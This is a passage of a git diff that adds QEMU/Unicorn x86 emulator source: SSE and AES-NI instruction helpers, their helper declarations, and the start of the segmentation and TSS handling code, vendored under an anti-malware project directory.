*env, Reg *d, Reg *s, + uint32_t ctrl) +{ + int i; + unsigned int res = pcmpxstrx(env, d, s, ctrl, + pcmp_ilen(s, ctrl), + pcmp_ilen(d, ctrl)); + + if ((ctrl >> 6) & 1) { + if (ctrl & 1) { + for (i = 0; i < 8; i++, res >>= 1) { + env->xmm_regs[0].W(i) = (res & 1) ? ~0 : 0; + } + } else { + for (i = 0; i < 16; i++, res >>= 1) { + env->xmm_regs[0].B(i) = (res & 1) ? ~0 : 0; + } + } + } else { + env->xmm_regs[0].Q(1) = 0; + env->xmm_regs[0].Q(0) = res; + } +} + +#define CRCPOLY 0x1edc6f41 +#define CRCPOLY_BITREV 0x82f63b78 +target_ulong helper_crc32(uint32_t crc1, target_ulong msg, uint32_t len) +{ + target_ulong crc = (msg & ((target_ulong) -1 >> + (TARGET_LONG_BITS - len))) ^ crc1; + + while (len--) { + crc = (crc >> 1) ^ ((crc & 1) ? CRCPOLY_BITREV : 0); + } + + return crc; +} + +#define POPMASK(i) ((target_ulong) -1 / ((1LL << (1 << i)) + 1)) +#define POPCOUNT(n, i) ((n & POPMASK(i)) + ((n >> (1 << i)) & POPMASK(i))) +target_ulong helper_popcnt(CPUX86State *env, target_ulong n, uint32_t type) +{ + CC_SRC = n ? 0 : CC_Z; + + n = POPCOUNT(n, 0); + n = POPCOUNT(n, 1); + n = POPCOUNT(n, 2); + n = POPCOUNT(n, 3); + if (type == 1) { + return n & 0xff; + } + + n = POPCOUNT(n, 4); +#ifndef TARGET_X86_64 + return n; +#else + if (type == 2) { + return n & 0xff; + } + + return POPCOUNT(n, 5); +#endif +} + +void glue(helper_pclmulqdq, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t ctrl) +{ + uint64_t ah, al, b, resh, resl; + + ah = 0; + al = d->Q((ctrl & 1) != 0); + b = s->Q((ctrl & 16) != 0); + resh = resl = 0; + + while (b) { + if (b & 1) { + resl ^= al; + resh ^= ah; + } + ah = (ah << 1) | (al >> 63); + al <<= 1; + b >>= 1; + } + + d->Q(0) = resl; + d->Q(1) = resh; +} + +void glue(helper_aesdec, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + Reg st = *d; + Reg rk = *s; + + for (i = 0 ; i < 4 ; i++) { + d->L(i) = rk.L(i) ^ bswap32(AES_Td0[st.B(AES_ishifts[4*i+0])] ^ + AES_Td1[st.B(AES_ishifts[4*i+1])] ^ + AES_Td2[st.B(AES_ishifts[4*i+2])] ^ + AES_Td3[st.B(AES_ishifts[4*i+3])]); + } +} + +void glue(helper_aesdeclast, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + Reg st = *d; + Reg rk = *s; + + for (i = 0; i < 16; i++) { + d->B(i) = rk.B(i) ^ (AES_Td4[st.B(AES_ishifts[i])] & 0xff); + } +} + +void glue(helper_aesenc, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + Reg st = *d; + Reg rk = *s; + + for (i = 0 ; i < 4 ; i++) { + d->L(i) = rk.L(i) ^ bswap32(AES_Te0[st.B(AES_shifts[4*i+0])] ^ + AES_Te1[st.B(AES_shifts[4*i+1])] ^ + AES_Te2[st.B(AES_shifts[4*i+2])] ^ + AES_Te3[st.B(AES_shifts[4*i+3])]); + } +} + +void glue(helper_aesenclast, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + Reg st = *d; + Reg rk = *s; + + for (i = 0; i < 16; i++) { + d->B(i) = rk.B(i) ^ (AES_Te4[st.B(AES_shifts[i])] & 0xff); + } + +} + +void glue(helper_aesimc, SUFFIX)(CPUX86State *env, Reg *d, Reg *s) +{ + int i; + Reg tmp = *s; + + for (i = 0 ; i < 4 ; i++) { + d->L(i) = bswap32(AES_Td0[AES_Te4[tmp.B(4*i+0)] & 0xff] ^ + AES_Td1[AES_Te4[tmp.B(4*i+1)] & 0xff] ^ + AES_Td2[AES_Te4[tmp.B(4*i+2)] & 0xff] ^ + AES_Td3[AES_Te4[tmp.B(4*i+3)] & 0xff]); + } +} + +void glue(helper_aeskeygenassist, SUFFIX)(CPUX86State *env, Reg *d, Reg *s, + uint32_t ctrl) +{ + int i; + Reg tmp = *s; + + for (i = 0 ; i < 4 ; i++) { + d->B(i) = AES_Te4[tmp.B(i + 4)] & 0xff; + d->B(i + 8) = AES_Te4[tmp.B(i + 12)] & 0xff; + } + d->L(1) = (d->L(0) << 24 | d->L(0) >> 8) ^ ctrl; + d->L(3) = (d->L(2) << 24 | d->L(2) >> 8) ^ ctrl; +} +#endif + +#undef SHIFT +#undef XMM_ONLY +#undef Reg +#undef B +#undef W +#undef L +#undef Q +#undef SUFFIX diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse_header.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse_header.h new file mode 100644 index 0000000..a68c7cc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/ops_sse_header.h @@ -0,0 +1,360 @@ +/* + * MMX/3DNow!/SSE/SSE2/SSE3/SSSE3/SSE4/PNI support + * + * Copyright (c) 2005 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#if SHIFT == 0 +#define Reg MMXReg +#define SUFFIX _mmx +#else +#define Reg XMMReg +#define SUFFIX _xmm +#endif + +#define dh_alias_Reg ptr +#define dh_alias_XMMReg ptr +#define dh_alias_MMXReg ptr +#define dh_ctype_Reg Reg * +#define dh_ctype_XMMReg XMMReg * +#define dh_ctype_MMXReg MMXReg * +#define dh_is_signed_Reg dh_is_signed_ptr +#define dh_is_signed_XMMReg dh_is_signed_ptr +#define dh_is_signed_MMXReg dh_is_signed_ptr + +DEF_HELPER_3(glue(psrlw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psraw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psllw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psrld, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psrad, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pslld, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psrlq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psllq, SUFFIX), void, env, Reg, Reg) + +#if SHIFT == 1 +DEF_HELPER_3(glue(psrldq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pslldq, SUFFIX), void, env, Reg, Reg) +#endif + +#define SSE_HELPER_B(name, F)\ + DEF_HELPER_3(glue(name, SUFFIX), void, env, Reg, Reg) + +#define SSE_HELPER_W(name, F)\ + DEF_HELPER_3(glue(name, SUFFIX), void, env, Reg, Reg) + +#define SSE_HELPER_L(name, F)\ + DEF_HELPER_3(glue(name, SUFFIX), void, env, Reg, Reg) + +#define SSE_HELPER_Q(name, F)\ + DEF_HELPER_3(glue(name, SUFFIX), void, env, Reg, Reg) + +SSE_HELPER_B(paddb, FADD) +SSE_HELPER_W(paddw, FADD) +SSE_HELPER_L(paddl, FADD) +SSE_HELPER_Q(paddq, FADD) + +SSE_HELPER_B(psubb, FSUB) +SSE_HELPER_W(psubw, FSUB) +SSE_HELPER_L(psubl, FSUB) +SSE_HELPER_Q(psubq, FSUB) + +SSE_HELPER_B(paddusb, FADDUB) +SSE_HELPER_B(paddsb, FADDSB) +SSE_HELPER_B(psubusb, FSUBUB) +SSE_HELPER_B(psubsb, FSUBSB) + +SSE_HELPER_W(paddusw, FADDUW) +SSE_HELPER_W(paddsw, FADDSW) +SSE_HELPER_W(psubusw, FSUBUW) +SSE_HELPER_W(psubsw, FSUBSW) + +SSE_HELPER_B(pminub, FMINUB) +SSE_HELPER_B(pmaxub, FMAXUB) + +SSE_HELPER_W(pminsw, FMINSW) +SSE_HELPER_W(pmaxsw, FMAXSW) + +SSE_HELPER_Q(pand, FAND) +SSE_HELPER_Q(pandn, FANDN) +SSE_HELPER_Q(por, FOR) +SSE_HELPER_Q(pxor, FXOR) + +SSE_HELPER_B(pcmpgtb, FCMPGTB) +SSE_HELPER_W(pcmpgtw, FCMPGTW) +SSE_HELPER_L(pcmpgtl, FCMPGTL) + +SSE_HELPER_B(pcmpeqb, FCMPEQ) +SSE_HELPER_W(pcmpeqw, FCMPEQ) +SSE_HELPER_L(pcmpeql, FCMPEQ) + +SSE_HELPER_W(pmullw, FMULLW) +#if SHIFT == 0 +SSE_HELPER_W(pmulhrw, FMULHRW) +#endif +SSE_HELPER_W(pmulhuw, FMULHUW) +SSE_HELPER_W(pmulhw, FMULHW) + +SSE_HELPER_B(pavgb, FAVG) +SSE_HELPER_W(pavgw, FAVG) + +DEF_HELPER_3(glue(pmuludq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmaddwd, SUFFIX), void, env, Reg, Reg) + +DEF_HELPER_3(glue(psadbw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_4(glue(maskmov, SUFFIX), void, env, Reg, Reg, tl) +DEF_HELPER_2(glue(movl_mm_T0, SUFFIX), void, Reg, i32) +#ifdef TARGET_X86_64 +DEF_HELPER_2(glue(movq_mm_T0, SUFFIX), void, Reg, i64) +#endif + +#if SHIFT == 0 +DEF_HELPER_3(glue(pshufw, SUFFIX), void, Reg, Reg, int) +#else +DEF_HELPER_3(shufps, void, Reg, Reg, int) +DEF_HELPER_3(shufpd, void, Reg, Reg, int) +DEF_HELPER_3(glue(pshufd, SUFFIX), void, Reg, Reg, int) +DEF_HELPER_3(glue(pshuflw, SUFFIX), void, Reg, Reg, int) +DEF_HELPER_3(glue(pshufhw, SUFFIX), void, Reg, Reg, int) +#endif + +#if SHIFT == 1 +/* FPU ops */ +/* XXX: not accurate */ + +#define SSE_HELPER_S(name, F) \ + DEF_HELPER_3(name ## ps, void, env, Reg, Reg) \ + DEF_HELPER_3(name ## ss, void, env, Reg, Reg) \ + DEF_HELPER_3(name ## pd, void, env, Reg, Reg) \ + DEF_HELPER_3(name ## sd, void, env, Reg, Reg) + +SSE_HELPER_S(add, FPU_ADD) +SSE_HELPER_S(sub, FPU_SUB) +SSE_HELPER_S(mul, FPU_MUL) +SSE_HELPER_S(div, FPU_DIV) +SSE_HELPER_S(min, FPU_MIN) +SSE_HELPER_S(max, FPU_MAX) +SSE_HELPER_S(sqrt, FPU_SQRT) + + +DEF_HELPER_3(cvtps2pd, void, env, Reg, Reg) +DEF_HELPER_3(cvtpd2ps, void, env, Reg, Reg) +DEF_HELPER_3(cvtss2sd, void, env, Reg, Reg) +DEF_HELPER_3(cvtsd2ss, void, env, Reg, Reg) +DEF_HELPER_3(cvtdq2ps, void, env, Reg, Reg) +DEF_HELPER_3(cvtdq2pd, void, env, Reg, Reg) +DEF_HELPER_3(cvtpi2ps, void, env, XMMReg, MMXReg) +DEF_HELPER_3(cvtpi2pd, void, env, XMMReg, MMXReg) +DEF_HELPER_3(cvtsi2ss, void, env, XMMReg, i32) +DEF_HELPER_3(cvtsi2sd, void, env, XMMReg, i32) + +#ifdef TARGET_X86_64 +DEF_HELPER_3(cvtsq2ss, void, env, XMMReg, i64) +DEF_HELPER_3(cvtsq2sd, void, env, XMMReg, i64) +#endif + +DEF_HELPER_3(cvtps2dq, void, env, XMMReg, XMMReg) +DEF_HELPER_3(cvtpd2dq, void, env, XMMReg, XMMReg) +DEF_HELPER_3(cvtps2pi, void, env, MMXReg, XMMReg) +DEF_HELPER_3(cvtpd2pi, void, env, MMXReg, XMMReg) +DEF_HELPER_2(cvtss2si, s32, env, XMMReg) +DEF_HELPER_2(cvtsd2si, s32, env, XMMReg) +#ifdef TARGET_X86_64 +DEF_HELPER_2(cvtss2sq, s64, env, XMMReg) +DEF_HELPER_2(cvtsd2sq, s64, env, XMMReg) +#endif + +DEF_HELPER_3(cvttps2dq, void, env, XMMReg, XMMReg) +DEF_HELPER_3(cvttpd2dq, void, env, XMMReg, XMMReg) +DEF_HELPER_3(cvttps2pi, void, env, MMXReg, XMMReg) +DEF_HELPER_3(cvttpd2pi, void, env, MMXReg, XMMReg) +DEF_HELPER_2(cvttss2si, s32, env, XMMReg) +DEF_HELPER_2(cvttsd2si, s32, env, XMMReg) +#ifdef TARGET_X86_64 +DEF_HELPER_2(cvttss2sq, s64, env, XMMReg) +DEF_HELPER_2(cvttsd2sq, s64, env, XMMReg) +#endif + +DEF_HELPER_3(rsqrtps, void, env, XMMReg, XMMReg) +DEF_HELPER_3(rsqrtss, void, env, XMMReg, XMMReg) +DEF_HELPER_3(rcpps, void, env, XMMReg, XMMReg) +DEF_HELPER_3(rcpss, void, env, XMMReg, XMMReg) +DEF_HELPER_3(extrq_r, void, env, XMMReg, XMMReg) +DEF_HELPER_4(extrq_i, void, env, XMMReg, int, int) +DEF_HELPER_3(insertq_r, void, env, XMMReg, XMMReg) +DEF_HELPER_4(insertq_i, void, env, XMMReg, int, int) +DEF_HELPER_3(haddps, void, env, XMMReg, XMMReg) +DEF_HELPER_3(haddpd, void, env, XMMReg, XMMReg) +DEF_HELPER_3(hsubps, void, env, XMMReg, XMMReg) +DEF_HELPER_3(hsubpd, void, env, XMMReg, XMMReg) +DEF_HELPER_3(addsubps, void, env, XMMReg, XMMReg) +DEF_HELPER_3(addsubpd, void, env, XMMReg, XMMReg) + +#define SSE_HELPER_CMP(name, F) \ + DEF_HELPER_3(name ## ps, void, env, Reg, Reg) \ + DEF_HELPER_3(name ## ss, void, env, Reg, Reg) \ + DEF_HELPER_3(name ## pd, void, env, Reg, Reg) \ + DEF_HELPER_3(name ## sd, void, env, Reg, Reg) + +SSE_HELPER_CMP(cmpeq, FPU_CMPEQ) +SSE_HELPER_CMP(cmplt, FPU_CMPLT) +SSE_HELPER_CMP(cmple, FPU_CMPLE) +SSE_HELPER_CMP(cmpunord, FPU_CMPUNORD) +SSE_HELPER_CMP(cmpneq, FPU_CMPNEQ) +SSE_HELPER_CMP(cmpnlt, FPU_CMPNLT) +SSE_HELPER_CMP(cmpnle, FPU_CMPNLE) +SSE_HELPER_CMP(cmpord, FPU_CMPORD) + +DEF_HELPER_3(ucomiss, void, env, Reg, Reg) +DEF_HELPER_3(comiss, void, env, Reg, Reg) +DEF_HELPER_3(ucomisd, void, env, Reg, Reg) +DEF_HELPER_3(comisd, void, env, Reg, Reg) +DEF_HELPER_2(movmskps, i32, env, Reg) +DEF_HELPER_2(movmskpd, i32, env, Reg) +#endif + +DEF_HELPER_2(glue(pmovmskb, SUFFIX), i32, env, Reg) +DEF_HELPER_3(glue(packsswb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(packuswb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(packssdw, SUFFIX), void, env, Reg, Reg) +#define UNPCK_OP(base_name, base) \ + DEF_HELPER_3(glue(punpck ## base_name ## bw, SUFFIX), void, env, Reg, Reg) \ + DEF_HELPER_3(glue(punpck ## base_name ## wd, SUFFIX), void, env, Reg, Reg) \ + DEF_HELPER_3(glue(punpck ## base_name ## dq, SUFFIX), void, env, Reg, Reg) + +UNPCK_OP(l, 0) +UNPCK_OP(h, 1) + +#if SHIFT == 1 +DEF_HELPER_3(glue(punpcklqdq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(punpckhqdq, SUFFIX), void, env, Reg, Reg) +#endif + +/* 3DNow! float ops */ +#if SHIFT == 0 +DEF_HELPER_3(pi2fd, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pi2fw, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pf2id, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pf2iw, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfacc, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfadd, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfcmpeq, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfcmpge, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfcmpgt, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfmax, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfmin, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfmul, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfnacc, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfpnacc, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfrcp, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfrsqrt, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfsub, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pfsubr, void, env, MMXReg, MMXReg) +DEF_HELPER_3(pswapd, void, env, MMXReg, MMXReg) +#endif + +/* SSSE3 op helpers */ +DEF_HELPER_3(glue(phaddw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(phaddd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(phaddsw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(phsubw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(phsubd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(phsubsw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pabsb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pabsw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pabsd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmaddubsw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmulhrsw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pshufb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psignb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psignw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(psignd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_4(glue(palignr, SUFFIX), void, env, Reg, Reg, s32) + +/* SSE4.1 op helpers */ +#if SHIFT == 1 +DEF_HELPER_3(glue(pblendvb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(blendvps, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(blendvpd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(ptest, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovsxbw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovsxbd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovsxbq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovsxwd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovsxwq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovsxdq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovzxbw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovzxbd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovzxbq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovzxwd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovzxwq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmovzxdq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmuldq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pcmpeqq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(packusdw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pminsb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pminsd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pminuw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pminud, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmaxsb, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmaxsd, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmaxuw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmaxud, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(pmulld, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(phminposuw, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_4(glue(roundps, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(roundpd, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(roundss, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(roundsd, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(blendps, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(blendpd, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(pblendw, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(dpps, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(dppd, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(mpsadbw, SUFFIX), void, env, Reg, Reg, i32) +#endif + +/* SSE4.2 op helpers */ +#if SHIFT == 1 +DEF_HELPER_3(glue(pcmpgtq, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_4(glue(pcmpestri, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(pcmpestrm, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(pcmpistri, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(pcmpistrm, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_3(crc32, tl, i32, tl, i32) +DEF_HELPER_3(popcnt, tl, env, tl, i32) +#endif + +/* AES-NI op helpers */ +#if SHIFT == 1 +DEF_HELPER_3(glue(aesdec, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(aesdeclast, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(aesenc, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(aesenclast, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_3(glue(aesimc, SUFFIX), void, env, Reg, Reg) +DEF_HELPER_4(glue(aeskeygenassist, SUFFIX), void, env, Reg, Reg, i32) +DEF_HELPER_4(glue(pclmulqdq, SUFFIX), void, env, Reg, Reg, i32) +#endif + +#undef SHIFT +#undef Reg +#undef SUFFIX + +#undef SSE_HELPER_B +#undef SSE_HELPER_W +#undef SSE_HELPER_L +#undef SSE_HELPER_Q +#undef SSE_HELPER_S +#undef SSE_HELPER_CMP +#undef UNPCK_OP diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/seg_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/seg_helper.c new file mode 100644 index 0000000..fd9765a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-i386/seg_helper.c @@ -0,0 +1,2698 @@ +/* + * x86 segmentation related helpers: + * TSS, interrupts, system calls, jumps and call/task gates, descriptors + * + * Copyright (c) 2003 Fabrice Bellard + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ + +#include "cpu.h" +#include "qemu/log.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" +#include "uc_priv.h" + +//#define DEBUG_PCALL + +#ifdef DEBUG_PCALL +# define LOG_PCALL(...) qemu_log_mask(CPU_LOG_PCALL, ## __VA_ARGS__) +# define LOG_PCALL_STATE(cpu) \ + log_cpu_state_mask(CPU_LOG_PCALL, (cpu), CPU_DUMP_CCOP) +#else +# define LOG_PCALL(...) do { } while (0) +# define LOG_PCALL_STATE(cpu) do { } while (0) +#endif + +#ifndef CONFIG_USER_ONLY +#define CPU_MMU_INDEX (cpu_mmu_index_kernel(env)) +#define MEMSUFFIX _kernel +#define DATA_SIZE 1 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 2 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 4 +#include "exec/cpu_ldst_template.h" + +#define DATA_SIZE 8 +#include "exec/cpu_ldst_template.h" +#undef CPU_MMU_INDEX +#undef MEMSUFFIX +#endif + +/* return non zero if error */ +static inline int load_segment(CPUX86State *env, uint32_t *e1_ptr, + uint32_t *e2_ptr, int selector) +{ + SegmentCache *dt; + int index; + target_ulong ptr; + + if (selector & 0x4) { + dt = &env->ldt; + } else { + dt = &env->gdt; + } + index = selector & ~7; + if ((index + 7) > dt->limit) { + return -1; + } + ptr = dt->base + index; + *e1_ptr = cpu_ldl_kernel(env, ptr); + *e2_ptr = cpu_ldl_kernel(env, ptr + 4); + return 0; +} + +static inline unsigned int get_seg_limit(uint32_t e1, uint32_t e2) +{ + unsigned int limit; + + limit = (e1 & 0xffff) | (e2 & 0x000f0000); + if (e2 & DESC_G_MASK) { + limit = (limit << 12) | 0xfff; + } + return limit; +} + +static inline uint32_t get_seg_base(uint32_t e1, uint32_t e2) +{ + return (e1 >> 16) | ((e2 & 0xff) << 16) | (e2 & 0xff000000); +} + +static inline void load_seg_cache_raw_dt(SegmentCache *sc, uint32_t e1, + uint32_t e2) +{ + sc->base = get_seg_base(e1, e2); + sc->limit = get_seg_limit(e1, e2); + sc->flags = e2; +} + +/* init the segment cache in vm86 mode. */ +static inline void load_seg_vm(CPUX86State *env, int seg, int selector) +{ + selector &= 0xffff; + + cpu_x86_load_seg_cache(env, seg, selector, (selector << 4), 0xffff, + DESC_P_MASK | DESC_S_MASK | DESC_W_MASK | + DESC_A_MASK | (3 << DESC_DPL_SHIFT)); +} + +static inline void get_ss_esp_from_tss(CPUX86State *env, uint32_t *ss_ptr, + uint32_t *esp_ptr, int dpl) +{ + X86CPU *cpu = x86_env_get_cpu(env); + int type, index, shift; + +#if 0 + { + int i; + printf("TR: base=%p limit=%x\n", env->tr.base, env->tr.limit); + for (i = 0; i < env->tr.limit; i++) { + printf("%02x ", env->tr.base[i]); + if ((i & 7) == 7) { + printf("\n"); + } + } + printf("\n"); + } +#endif + + if (!(env->tr.flags & DESC_P_MASK)) { + cpu_abort(CPU(cpu), "invalid tss"); + } + type = (env->tr.flags >> DESC_TYPE_SHIFT) & 0xf; + if ((type & 7) != 1) { + cpu_abort(CPU(cpu), "invalid tss type"); + } + shift = type >> 3; + index = (dpl * 4 + 2) << shift; + if (index + (4 << shift) - 1 > env->tr.limit) { + raise_exception_err(env, EXCP0A_TSS, env->tr.selector & 0xfffc); + } + if (shift == 0) { + *esp_ptr = cpu_lduw_kernel(env, env->tr.base + index); + *ss_ptr = cpu_lduw_kernel(env, env->tr.base + index + 2); + } else { + *esp_ptr = cpu_ldl_kernel(env, env->tr.base + index); + *ss_ptr = cpu_lduw_kernel(env, env->tr.base + index + 4); + } +} + +static void tss_load_seg(CPUX86State *env, int seg_reg, int selector, int cpl) +{ + uint32_t e1, e2; + int rpl, dpl; + + if ((selector & 0xfffc) != 0) { + if (load_segment(env, &e1, &e2, selector) != 0) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + if (!(e2 & DESC_S_MASK)) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + rpl = selector & 3; + dpl = (e2 >> DESC_DPL_SHIFT) & 3; + if (seg_reg == R_CS) { + if (!(e2 & DESC_CS_MASK)) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + if (dpl != rpl) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + } else if (seg_reg == R_SS) { + /* SS must be writable data */ + if ((e2 & DESC_CS_MASK) || !(e2 & DESC_W_MASK)) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + if (dpl != cpl || dpl != rpl) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + } else { + /* not readable code */ + if ((e2 & DESC_CS_MASK) && !(e2 & DESC_R_MASK)) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + /* if data or non conforming code, checks the rights */ + if (((e2 >> DESC_TYPE_SHIFT) & 0xf) < 12) { + if (dpl < cpl || dpl < rpl) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + } + } + if (!(e2 & DESC_P_MASK)) { + raise_exception_err(env, EXCP0B_NOSEG, selector & 0xfffc); + } + cpu_x86_load_seg_cache(env, seg_reg, selector, + get_seg_base(e1, e2), + get_seg_limit(e1, e2), + e2); + } else { + if (seg_reg == R_SS || seg_reg == R_CS) { + raise_exception_err(env, EXCP0A_TSS, selector & 0xfffc); + } + } +} + +#define SWITCH_TSS_JMP 0 +#define SWITCH_TSS_IRET 1 +#define SWITCH_TSS_CALL 2 + +/* XXX: restore CPU state in registers (PowerPC case) */ +static void switch_tss(CPUX86State *env, int tss_selector, + uint32_t e1, uint32_t e2, int source, + uint32_t next_eip) +{ + int tss_limit, tss_limit_max, type, old_tss_limit_max, old_type, v1, v2, i; + target_ulong tss_base; + uint32_t new_regs[8], new_segs[6]; 